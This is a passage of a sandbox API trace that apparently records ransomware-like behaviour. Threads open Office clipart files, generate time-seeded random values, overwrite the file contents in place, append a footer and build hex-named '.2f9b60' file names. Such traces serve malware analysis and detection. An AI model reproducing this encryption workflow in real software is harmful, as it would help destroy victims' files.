(in: hFile=0x2214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0162.633] WriteFile (hFile=0x2214, lpBuffer=0x42c15a70, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x300afa30, lpOverlapped=0x0) [0206.700] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c490 [0206.701] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb0e0 [0206.701] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139b20 [0206.702] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43139b20) returned 1 [0206.702] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x42c0eae0 [0206.702] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139b20 [0206.702] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139af0 [0206.703] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43139af0) returned 1 [0206.703] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb0e0) returned 1 [0206.704] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c490) returned 1 [0206.704] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9fb70 [0206.704] sprintf (in: _Dest=0x1cd9fb70, _Format="%c%c" | out: _Dest="3c") returned 2 [0206.704] sprintf (in: _Dest=0x1cd9fb72, _Format="%c%c" | out: _Dest="d3") returned 2 [0206.704] sprintf (in: _Dest=0x1cd9fb74, _Format="%c%c" | out: _Dest="d4") returned 2 [0206.704] sprintf (in: _Dest=0x1cd9fb76, _Format="%c%c" | out: _Dest="9f") returned 2 [0206.704] sprintf (in: _Dest=0x1cd9fb78, _Format="%c%c" | out: _Dest="88") returned 2 [0206.704] sprintf (in: _Dest=0x1cd9fb7a, _Format="%c%c" | out: _Dest="46") returned 2 [0206.704] sprintf (in: _Dest=0x1cd9fb7c, _Format="%c%c" | out: _Dest="e5") returned 2 [0206.704] sprintf (in: _Dest=0x1cd9fb7e, _Format="%c%c" | out: _Dest="7b") returned 2 [0206.704] sprintf (in: _Dest=0x1cd9fb80, _Format="%c%c" | out: _Dest="3b") returned 2 [0206.704] sprintf (in: _Dest=0x1cd9fb82, _Format="%c%c" | out: _Dest="66") returned 2 [0206.704] sprintf (in: _Dest=0x1cd9fb84, _Format="%c%c" | out: _Dest="14") returned 2 [0206.704] sprintf (in: _Dest=0x1cd9fb86, _Format="%c%c" | out: _Dest="10") returned 2 [0206.704] sprintf (in: _Dest=0x1cd9fb88, _Format="%c%c" | out: _Dest="50") returned 2 [0206.704] sprintf (in: _Dest=0x1cd9fb8a, _Format="%c%c" | out: _Dest="1e") returned 2 [0206.704] sprintf (in: _Dest=0x1cd9fb8c, _Format="%c%c" | out: _Dest="bb") returned 2 [0206.704] sprintf (in: _Dest=0x1cd9fb8e, _Format="%c%c" | out: _Dest="dd") returned 2 [0206.704] sprintf (in: _Dest=0x1cd9fb90, _Format="%c%c" | out: _Dest="03") returned 2 [0206.704] sprintf (in: _Dest=0x1cd9fb92, _Format="%c%c" | out: _Dest="7a") returned 2 [0206.705] sprintf (in: _Dest=0x1cd9fb94, _Format="%c%c" | out: _Dest="ac") returned 2 [0206.705] sprintf (in: _Dest=0x1cd9fb96, _Format="%c%c" | out: _Dest="0b") returned 2 [0206.705] sprintf (in: _Dest=0x1cd9fb98, _Format="%c%c" | out: _Dest="cb") returned 2 [0206.705] sprintf (in: _Dest=0x1cd9fb9a, _Format="%c%c" | out: _Dest="87") returned 2 [0206.705] sprintf (in: _Dest=0x1cd9fb9c, _Format="%c%c" | out: _Dest="34") returned 2 [0206.705] sprintf (in: _Dest=0x1cd9fb9e, _Format="%c%c" | out: _Dest="c6") returned 2 [0206.705] RtlInitAnsiString (in: DestinationString=0x300afaa8, SourceString="3cd3d49f8846e57b3b661410501ebbdd037aac0bcb8734c6" | out: DestinationString="3cd3d49f8846e57b3b661410501ebbdd037aac0bcb8734c6") [0206.705] RtlAnsiStringToUnicodeString (in: DestinationString=0x300afa78, SourceString="3cd3d49f8846e57b3b661410501ebbdd037aac0bcb8734c6", AllocateDestinationString=1 | out: DestinationString="3cd3d49f8846e57b3b661410501ebbdd037aac0bcb8734c6") returned 0x0 [0206.705] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1cddfbb0 [0206.705] wcscat (in: _Dest=0x431c6520, _Source="3cd3d49f8846" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\3cd3d49f8846") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\3cd3d49f8846" [0206.706] wcscat (in: _Dest=0x431c6520, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\3cd3d49f8846.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\3cd3d49f8846.2f9b60" [0206.706] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\3cd3d49f8846.2f9b60", NtPathName=0x300afa50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\3cd3d49f8846.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0206.706] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x4311c2e0 Thread: id = 2396 os_tid = 0x1dd4 [0150.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00397_.wmf")) returned 0x20 [0150.650] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF", dwFileAttributes=0x20) returned 1 [0150.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00397_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2218 [0150.652] GetFileSizeEx (in: hFile=0x2218, lpFileSize=0x2e12fca0 | out: lpFileSize=0x2e12fca0*=17308) returned 1 [0150.652] SetFilePointerEx (in: hFile=0x2218, liDistanceToMove=0x4398, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.652] ReadFile (in: hFile=0x2218, lpBuffer=0x2e12fc20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2e12fc68, lpOverlapped=0x0 | out: lpBuffer=0x2e12fc20*, lpNumberOfBytesRead=0x2e12fc68*=0x4, lpOverlapped=0x0) returned 1 [0150.654] SetFilePointerEx (in: hFile=0x2218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.654] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe260 [0150.654] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4a80 [0150.654] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4b10 [0150.655] NtQuerySystemTime (in: CurrentTime=0x2e12fb60 | out: CurrentTime=0x2e12fb60*=132462177558670000) returned 0x0 [0150.655] RtlRandomEx (in: Seed=0x2e12fb50 | out: Seed=0x2e12fb50) returned 0x61b85a12 [0150.655] RtlRandomEx (in: Seed=0x2e12fb50 | out: Seed=0x2e12fb50) returned 0x73d909c [0150.655] RtlRandomEx (in: Seed=0x2e12fb50 | out: Seed=0x2e12fb50) returned 0x677cb0e7 [0150.655] RtlRandomEx (in: Seed=0x2e12fb50 | out: Seed=0x2e12fb50) returned 0x6ecd9197 [0150.655] RtlRandomEx (in: Seed=0x2e12fb50 | out: Seed=0x2e12fb50) returned 0x31be97a3 [0150.655] RtlRandomEx (in: Seed=0x2e12fb50 | out: Seed=0x2e12fb50) returned 0x1febd3af [0150.655] RtlRandomEx (in: Seed=0x2e12fb50 | out: Seed=0x2e12fb50) returned 0xcff472f [0150.655] RtlRandomEx (in: Seed=0x2e12fb50 | out: Seed=0x2e12fb50) returned 0x17849f6a [0150.655] RtlRandomEx (in: Seed=0x2e12fb50 | out: Seed=0x2e12fb50) returned 0x7a08941b [0150.655] RtlRandomEx (in: Seed=0x2e12fb50 | out: Seed=0x2e12fb50) returned 0xf51fe6c [0150.655] RtlRandomEx (in: Seed=0x2e12fb50 | out: Seed=0x2e12fb50) returned 0x691aeca1 [0150.655] RtlRandomEx (in: Seed=0x2e12fb50 | out: Seed=0x2e12fb50) returned 0x32d49d9e [0150.655] RtlRandomEx (in: Seed=0x2e12fb50 | out: Seed=0x2e12fb50) returned 0x1e5765f9 [0150.655] RtlRandomEx (in: Seed=0x2e12fb50 | out: Seed=0x2e12fb50) returned 0x70887d69 [0150.655] RtlRandomEx (in: Seed=0x2e12fb50 | out: Seed=0x2e12fb50) returned 0x1e1daa59 [0150.655] RtlRandomEx (in: Seed=0x2e12fb50 | out: Seed=0x2e12fb50) returned 0x7a5783b0 [0150.655] RtlRandomEx (in: Seed=0x2e12fb50 | out: Seed=0x2e12fb50) returned 0x5c483091 [0150.655] RtlRandomEx (in: Seed=0x2e12fb50 | out: Seed=0x2e12fb50) returned 0x65d8bd52 [0150.655] RtlRandomEx (in: Seed=0x2e12fb50 | out: Seed=0x2e12fb50) returned 0x56c2aff1 [0150.655] RtlRandomEx (in: Seed=0x2e12fb50 | out: Seed=0x2e12fb50) returned 0x63e55d9c [0150.655] RtlRandomEx (in: Seed=0x2e12fb50 | out: Seed=0x2e12fb50) returned 0x3f3b7300 [0150.655] RtlRandomEx (in: Seed=0x2e12fb50 | out: Seed=0x2e12fb50) returned 0x680fb7ae [0150.655] RtlRandomEx (in: Seed=0x2e12fb50 | out: Seed=0x2e12fb50) returned 0x86527f [0150.655] RtlRandomEx (in: Seed=0x2e12fb50 | out: Seed=0x2e12fb50) returned 0x295c8a3f [0150.655] RtlRandomEx (in: Seed=0x2e12fb50 | out: Seed=0x2e12fb50) returned 0x5834af5e [0150.655] RtlRandomEx (in: Seed=0x2e12fb50 | out: Seed=0x2e12fb50) returned 0x2e2ecd63 [0150.655] RtlRandomEx (in: Seed=0x2e12fb50 | out: Seed=0x2e12fb50) returned 0x59ef3196 [0150.655] RtlRandomEx (in: Seed=0x2e12fb50 | out: Seed=0x2e12fb50) returned 0x27275d27 [0150.656] RtlRandomEx (in: Seed=0x2e12fb50 | out: Seed=0x2e12fb50) returned 0x235f5133 [0150.656] RtlRandomEx (in: Seed=0x2e12fb50 | out: Seed=0x2e12fb50) returned 0x64119673 [0150.656] RtlRandomEx (in: Seed=0x2e12fb50 | out: Seed=0x2e12fb50) returned 0x6b70d269 [0150.656] RtlRandomEx (in: Seed=0x2e12fb50 | out: Seed=0x2e12fb50) returned 0x77c521e6 [0150.666] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4b40 [0150.667] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b7b0 [0150.667] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4b70 [0150.667] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b7b0) returned 1 [0150.667] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4b10) returned 1 [0150.668] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe260) returned 1 [0150.668] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x424ae500 [0150.673] SetFilePointerEx (in: hFile=0x2218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.673] ReadFile (in: hFile=0x2218, lpBuffer=0x424ae500, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2e12fbc0, lpOverlapped=0x0 | out: lpBuffer=0x424ae500*, lpNumberOfBytesRead=0x2e12fbc0*=0x3c00, lpOverlapped=0x0) returned 1 [0150.674] SetFilePointerEx (in: hFile=0x2218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.674] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058600 [0150.675] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b7b0 [0150.675] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe260 [0150.675] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe260) returned 1 [0150.675] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x424b2110 [0150.675] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe260 [0150.675] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4b10 [0150.676] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4b10) returned 1 [0150.676] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b7b0) returned 1 [0150.676] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058600) returned 1 [0150.676] WriteFile (hFile=0x2218, lpBuffer=0x424b2110, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2e12fbc0, lpOverlapped=0x0) [0186.517] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x424b2110) returned 1 [0186.517] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x424ae500) returned 1 [0186.517] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1cec9f50 [0186.517] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058560 [0186.517] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b6b0 [0186.518] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9f80 [0186.518] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec9f80) returned 1 [0186.518] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1cec9f80 [0186.519] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9fb0 [0186.519] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9fe0 [0186.520] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec9fe0) returned 1 [0186.520] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b6b0) returned 1 [0186.520] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058560) returned 1 [0186.520] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x43101800 [0186.520] SetFilePointerEx (in: hFile=0x2218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0186.521] WriteFile (in: hFile=0x2218, lpBuffer=0x43101800*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2e12fc70, lpOverlapped=0x0 | out: lpBuffer=0x43101800*, lpNumberOfBytesWritten=0x2e12fc70*=0x10a, lpOverlapped=0x0) returned 1 [0207.249] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0207.249] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e990 [0207.249] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4a50 [0207.250] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4a50) returned 1 [0207.250] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d220 [0207.250] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4a50 [0207.250] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4a20 [0207.251] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4a20) returned 1 [0207.251] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e990) returned 1 [0207.252] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0207.252] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1ce5d030 [0207.252] sprintf (in: _Dest=0x1ce5d030, _Format="%c%c" | out: _Dest="1a") returned 2 [0207.252] sprintf (in: _Dest=0x1ce5d032, _Format="%c%c" | out: _Dest="f0") returned 2 [0207.252] sprintf (in: _Dest=0x1ce5d034, _Format="%c%c" | out: _Dest="4a") returned 2 [0207.252] sprintf (in: _Dest=0x1ce5d036, _Format="%c%c" | out: _Dest="16") returned 2 [0207.252] sprintf (in: _Dest=0x1ce5d038, _Format="%c%c" | out: _Dest="ed") returned 2 [0207.252] sprintf (in: _Dest=0x1ce5d03a, _Format="%c%c" | out: _Dest="a8") returned 2 [0207.252] sprintf (in: _Dest=0x1ce5d03c, _Format="%c%c" | out: _Dest="27") returned 2 [0207.252] sprintf (in: _Dest=0x1ce5d03e, _Format="%c%c" | out: _Dest="d0") returned 2 [0207.252] sprintf (in: _Dest=0x1ce5d040, _Format="%c%c" | out: _Dest="8c") returned 2 [0207.252] sprintf (in: _Dest=0x1ce5d042, _Format="%c%c" | out: _Dest="3e") returned 2 [0207.252] sprintf (in: _Dest=0x1ce5d044, _Format="%c%c" | out: _Dest="d9") returned 2 [0207.252] sprintf (in: _Dest=0x1ce5d046, _Format="%c%c" | out: _Dest="67") returned 2 [0207.252] sprintf (in: _Dest=0x1ce5d048, _Format="%c%c" | out: _Dest="a5") returned 2 [0207.252] sprintf (in: _Dest=0x1ce5d04a, _Format="%c%c" | out: _Dest="87") returned 2 [0207.252] sprintf (in: _Dest=0x1ce5d04c, _Format="%c%c" | out: _Dest="72") returned 2 [0207.253] sprintf (in: _Dest=0x1ce5d04e, _Format="%c%c" | out: _Dest="c3") returned 2 [0207.253] sprintf (in: _Dest=0x1ce5d050, _Format="%c%c" | out: _Dest="a9") returned 2 [0207.253] sprintf (in: _Dest=0x1ce5d052, _Format="%c%c" | out: _Dest="ec") returned 2 [0207.253] sprintf (in: _Dest=0x1ce5d054, _Format="%c%c" | out: _Dest="f4") returned 2 [0207.253] sprintf (in: _Dest=0x1ce5d056, _Format="%c%c" | out: _Dest="7b") returned 2 [0207.253] sprintf (in: _Dest=0x1ce5d058, _Format="%c%c" | out: _Dest="d6") returned 2 [0207.253] sprintf (in: _Dest=0x1ce5d05a, _Format="%c%c" | out: _Dest="a4") returned 2 [0207.253] sprintf (in: _Dest=0x1ce5d05c, _Format="%c%c" | out: _Dest="e3") returned 2 [0207.253] sprintf (in: _Dest=0x1ce5d05e, _Format="%c%c" | out: _Dest="7a") returned 2 [0207.253] RtlInitAnsiString (in: DestinationString=0x2e12fce8, SourceString="1af04a16eda827d08c3ed967a58772c3a9ecf47bd6a4e37a" | out: DestinationString="1af04a16eda827d08c3ed967a58772c3a9ecf47bd6a4e37a") [0207.253] RtlAnsiStringToUnicodeString (in: DestinationString=0x2e12fcb8, SourceString="1af04a16eda827d08c3ed967a58772c3a9ecf47bd6a4e37a", AllocateDestinationString=1 | out: DestinationString="1af04a16eda827d08c3ed967a58772c3a9ecf47bd6a4e37a") returned 0x0 [0207.253] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x430e8e20 [0207.253] wcscat (in: _Dest=0x431c79e0, _Source="1af04a16eda8" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\1af04a16eda8") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\1af04a16eda8" [0207.253] wcscat (in: _Dest=0x431c79e0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\1af04a16eda8.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\1af04a16eda8.2f9b60" [0207.253] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\1af04a16eda8.2f9b60", NtPathName=0x2e12fc90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\1af04a16eda8.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0207.253] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x431299e0 Thread: id = 2397 os_tid = 0x1dd8 [0150.682] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00902_.wmf")) returned 0x20 [0150.683] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF", dwFileAttributes=0x20) returned 1 [0150.684] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00902_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x221c [0150.685] GetFileSizeEx (in: hFile=0x221c, lpFileSize=0x2d84f9e0 | out: lpFileSize=0x2d84f9e0*=7944) returned 1 [0150.685] SetFilePointerEx (in: hFile=0x221c, liDistanceToMove=0x1f04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.685] ReadFile (in: hFile=0x221c, lpBuffer=0x2d84f960, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2d84f9a8, lpOverlapped=0x0 | out: lpBuffer=0x2d84f960*, lpNumberOfBytesRead=0x2d84f9a8*=0x4, lpOverlapped=0x0) returned 1 [0150.687] SetFilePointerEx (in: hFile=0x221c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.687] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4b10 [0150.687] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4ba0 [0150.688] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4bd0 [0150.688] NtQuerySystemTime (in: CurrentTime=0x2d84f8a0 | out: CurrentTime=0x2d84f8a0*=132462177558982000) returned 0x0 [0150.688] RtlRandomEx (in: Seed=0x2d84f890 | out: Seed=0x2d84f890) returned 0x68e23bc9 [0150.688] RtlRandomEx (in: Seed=0x2d84f890 | out: Seed=0x2d84f890) returned 0x39f91dee [0150.688] RtlRandomEx (in: Seed=0x2d84f890 | out: Seed=0x2d84f890) returned 0x16672e52 [0150.688] RtlRandomEx (in: Seed=0x2d84f890 | out: Seed=0x2d84f890) returned 0x503bbc97 [0150.688] RtlRandomEx (in: Seed=0x2d84f890 | out: Seed=0x2d84f890) returned 0x4fd92dc9 [0150.688] RtlRandomEx (in: Seed=0x2d84f890 | out: Seed=0x2d84f890) returned 0x67eeff61 [0150.688] RtlRandomEx (in: Seed=0x2d84f890 | out: Seed=0x2d84f890) returned 0x280b6154 [0150.688] RtlRandomEx (in: Seed=0x2d84f890 | out: Seed=0x2d84f890) returned 0x79cfe95d [0150.688] RtlRandomEx (in: Seed=0x2d84f890 | out: Seed=0x2d84f890) returned 0x31320ae3 [0150.688] RtlRandomEx (in: Seed=0x2d84f890 | out: Seed=0x2d84f890) returned 0x28285263 [0150.688] RtlRandomEx (in: Seed=0x2d84f890 | out: Seed=0x2d84f890) returned 0xd5f0013 [0150.688] RtlRandomEx (in: Seed=0x2d84f890 | out: Seed=0x2d84f890) returned 0x2fc8f61f [0150.688] RtlRandomEx (in: Seed=0x2d84f890 | out: Seed=0x2d84f890) returned 0x7d13630a [0150.688] RtlRandomEx (in: Seed=0x2d84f890 | out: Seed=0x2d84f890) returned 0x1bea6047 [0150.688] RtlRandomEx (in: Seed=0x2d84f890 | out: Seed=0x2d84f890) returned 0xbf85abc [0150.688] RtlRandomEx (in: Seed=0x2d84f890 | out: Seed=0x2d84f890) returned 0x67994de1 [0150.689] RtlRandomEx (in: Seed=0x2d84f890 | out: Seed=0x2d84f890) returned 0x416b1d71 [0150.689] RtlRandomEx (in: Seed=0x2d84f890 | out: Seed=0x2d84f890) returned 0x4f590096 [0150.689] RtlRandomEx (in: Seed=0x2d84f890 | out: Seed=0x2d84f890) returned 0x2a50187b [0150.689] RtlRandomEx (in: Seed=0x2d84f890 | out: Seed=0x2d84f890) returned 0x5f9f14e3 [0150.689] RtlRandomEx (in: Seed=0x2d84f890 | out: Seed=0x2d84f890) returned 0x61ea057d [0150.689] RtlRandomEx (in: Seed=0x2d84f890 | out: Seed=0x2d84f890) returned 0x2b4b3393 [0150.689] RtlRandomEx (in: Seed=0x2d84f890 | out: Seed=0x2d84f890) returned 0x46d087c0 [0150.689] RtlRandomEx (in: Seed=0x2d84f890 | out: Seed=0x2d84f890) returned 0x1dba8ae3 [0150.689] RtlRandomEx (in: Seed=0x2d84f890 | out: Seed=0x2d84f890) returned 0x29eb097e [0150.689] RtlRandomEx (in: Seed=0x2d84f890 | out: Seed=0x2d84f890) returned 0x141f43f2 [0150.689] RtlRandomEx (in: Seed=0x2d84f890 | out: Seed=0x2d84f890) returned 0x79fbac03 [0150.689] RtlRandomEx (in: Seed=0x2d84f890 | out: Seed=0x2d84f890) returned 0x686f89a1 [0150.689] RtlRandomEx (in: Seed=0x2d84f890 | out: Seed=0x2d84f890) returned 0x2d2e832b [0150.689] RtlRandomEx (in: Seed=0x2d84f890 | out: Seed=0x2d84f890) returned 0x3895e8b6 [0150.689] RtlRandomEx (in: Seed=0x2d84f890 | out: Seed=0x2d84f890) returned 0x28899e8a [0150.689] RtlRandomEx (in: Seed=0x2d84f890 | out: Seed=0x2d84f890) returned 0x43d9c65f [0150.698] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4c00 [0150.699] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b7b0 [0150.699] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4c30 [0150.700] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b7b0) returned 1 [0150.700] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4bd0) returned 1 [0150.700] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4b10) returned 1 [0150.700] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058600 [0150.700] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b7b0 [0150.700] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4b10 [0150.700] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4b10) returned 1 [0150.701] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x424b5d20 [0150.701] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x424b9930 [0150.701] ReadFile (in: hFile=0x221c, lpBuffer=0x424b5d20, nNumberOfBytesToRead=0x1f08, lpNumberOfBytesRead=0x2d84f890, lpOverlapped=0x0 | out: lpBuffer=0x424b5d20*, lpNumberOfBytesRead=0x2d84f890*=0x1f08, lpOverlapped=0x0) returned 1 [0150.702] SetFilePointerEx (in: hFile=0x221c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.702] WriteFile (hFile=0x221c, lpBuffer=0x424b9930, nNumberOfBytesToWrite=0x1f08, lpNumberOfBytesWritten=0x2d84f894, lpOverlapped=0x0) [0186.659] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ceca460 [0186.659] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ceca490 [0186.660] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceca490) returned 